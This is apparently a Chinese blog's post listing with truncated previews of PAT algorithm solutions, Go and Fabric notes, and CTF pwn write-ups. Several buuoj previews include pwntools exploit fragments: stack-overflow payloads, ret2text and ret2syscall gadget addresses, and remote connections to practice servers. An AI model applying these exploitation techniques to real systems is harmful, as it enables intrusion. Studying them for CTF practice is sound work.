PAT甲级2020春季真题题解

题目下载以及满分代码A.Prime Day  签到题,可以使用stoi将字符串转换为数字,然后试除法判断是否为素数。#include<iostream>#include<string>using namespace std;bool check(const string &s) { int a = stoi(s); //0 1不是素数 if (a <= 1) return false; for (int
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

PAT甲级2019秋季真题题解

题目及AC代码下载A Foreover  热身题,结合求最大公约数、检查是否为素数、DFS回溯,很综合的一道题目,注意剪枝,否则数据过大可能会TLE。#include<iostream>#include<string>#include<vector>#include<algorithm>#define ac cin.tie(0);cin.sync_with_stdio(0);using namespace std;string s;//n
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

2020 金盾 pwn where_call

总的来说是ret2vdso保护全开。就如程序名,where_call,程序让你输入一个函数地址,结合下面的v5等于121,那么想的是找到一个函数,对v5进行一些操作,让它等于121,但是程序开了PIE,难点就在这里。我们说平常PIE的绕过有两种方法,一种是泄露内存地址,但是那需要一些类似于read函数的东西,但是现在啥没有。另外一种就是partial write,但你看这显然不行,你去哪write?所以就想到ret2vdso,或者说ret2vsyscall。vsyscall是固定的,里面第二个函
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

PAT甲级2019春季真题题解

PAT甲级2019春季题目及满分代码下载A Sexy Primes  签到题,素数不需要用筛法,直接O(sqrt(n))即可。#include<iostream>using namespace std;bool check(int a) { if (a < 2) return false; for (int i = 2; i * i <= a; i++) if (a % i == 0) retur
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

超级账本源码解析之链码容器

本篇博客讲解Fabric如何启动链码容器并与之交互的。
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

buuoj Pwn wp 1-10

01 test_your_nc直接连上就好了。然后 cat flag 。02 ripret2text.这题多多少少有点问题。IDA里面是这样的,但是exp一直有问题,然后试着连上直接跑,是这样的。栈溢出到返回地址就行。from pwn import*r = remote("node3.buuoj.cn",26737)context.log_level = "debug"system_addr = 0x401187payload = 'a' * 23 + p64(syste
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

PAT甲级2018冬季真题题解

A Google Recruitment  热身题,素数,stoll函数,注意数据范围。#include<iostream>#include<string>using namespace std;bool check(const string &s) { long long tmp = stoll(s); if (tmp < 2) return false; for (int i = 2; (long long) i
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

Linux误删libc.so.6如何恢复

一个悲伤的故事=_=||
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

buuoj [第六章 CTF之PWN章]stack

ret2text习惯性查一下保护,啥也不是。很明显的栈溢出。很明显的shellcode直接十八个字节再加上返回地址就有了。expfrom pwn import*r = remote('node3.buuoj.cn',27516)#r = process('./stack')context.log_level = "debug"#gdb.attach(r)system_addr = 0x400537payload = 'a' * 18 + p64(0x40054e) + p64(
分类: 其他 发布时间: 02-10 10:20 阅读次数: 0

PAT甲级2018冬秋季真题题解

A Werewolf - Simple Version  简单的枚举题。#include<iostream>#define ac cin.sync_with_stdio(0);using namespace std;const int MAXN = 110;int arr[MAXN];int n;bool check(int a, int b) { int cnt = 0, wcnt = 0; for (int i = 1; i <= n; i++)
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

系统监控:Prometheus+Grafana

使用Prometheus监控系统状状态使用Grafana可视化
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

buuoj [第六章 CTF之PWN章]ROP

ret2libc保护。啥没有。直接就溢出了,但是没后门函数,就通过puts函数泄露puts函数地址,计算libc基地址,找到system函数与’/bin/sh’, 然后一把梭就好。需要用到gadget。exp
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

2020PAT甲级冬季满分题解

刚刚考完满分,hhhhA The Closest Fibonacci Number  热身题,斐波那契数。#include<iostream>#include<vector>using namespace std;vector<int> nums;void get() { int tmp; for (int i = 2;; i++) { tmp = nums[i - 2] + nums[i - 1]; if
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

学术英语写作与演讲

学习英语写作与演讲的链接
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

gets函数导致的__libc_start_main+235变为__libc_start_main+80原因以及调试

事情是这样的。在做一个题的时候出了点问题,写了个程序测试一下。讲道理在你输入11个字符之后就会报段错误,但是我测试发现,必须输入18个字符的时候才会报错,18个字符以前一切正常,然后开始溯源。这是输入18个以内正常时候的样子。这是输入18个的时候报错的样子。不同的是main返回的地方,一个是__libc_start_main + 80,一个是__libc_start_main + 235,开始往上找这里是啥时候变得。找到是gets里面一个地方搞的鬼,他对rdx指向的内容做了操作,而rdx正
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

寒假CS每日打卡 Feb.1st

算法部分1.Acwing 入门组每日一题题目:开心的金明  金明今天很开心,家里购置的新房就要领钥匙了,新房里有一间他自己专用的很宽敞的房间。更让他高兴的是,妈妈昨天对他说:“你的房间需要购买哪些物品,怎么布置,你说了算,只要不超过N元钱就行”。今天一早金明就开始做预算,但是他想买的东西太多了,肯定会超过妈妈限定的N元。于是,他把每件物品规定了一个重要度,分为5等:用整数1~5表示,第5等最重要。他还从因特网上查到了每件物品的价格(都是整数元)。他希望在不超过N元(可以等于N元)的前提下,使每件物品.
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

Go语言之文件读取

使用bufio和io/ioutil获取命令行或者文件的内容
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

buuoj pwn get_started_3dsctf_2016 ret2syscall

这里记录的是ret2syscall时候出的一些状况,详细的完整版在下面链接from pwn import *r = process('./2016')elf=ELF('./2016')context.log_level = "debug"bss=0x080eb000pop_ebx_esi_edi_ret=0x080509a5syscall_addr = 0x0806357dpop_eax = 0x080b91e6bss_addr = 0x080eb000#gdb.attach(r)
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

寒假CS每日打卡 Feb.2nd

算法部分1.Acwing 入门组每日一题题目:数独检查  数独是一种流行的单人游戏。目标是用数字填充9x9矩阵,使每列,每行和所有9个非重叠的3x3子矩阵包含从1到9的所有数字。每个9x9矩阵在游戏开始时都会有部分数字已经给出,通常有一个独特的解决方案。  给定完成的N2∗N2数独矩阵,你的任务是确定它是否是有效的解决方案。有效的解决方案必须满足以下条件:每行包含从1到N2的每个数字,每个数字一次。每列包含从1到N2的每个数字,每个数字一次。将N2∗N2矩阵划分为N2个非重叠N∗N子矩阵.
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0

Go语言之基础语法

文章目录命名命名函数外部定义的包级名字,如果首字母大写,则可以被其它包访问。var:变量const:常量 type:类型func:函数
分类: 其他 发布时间: 02-10 10:19 阅读次数: 0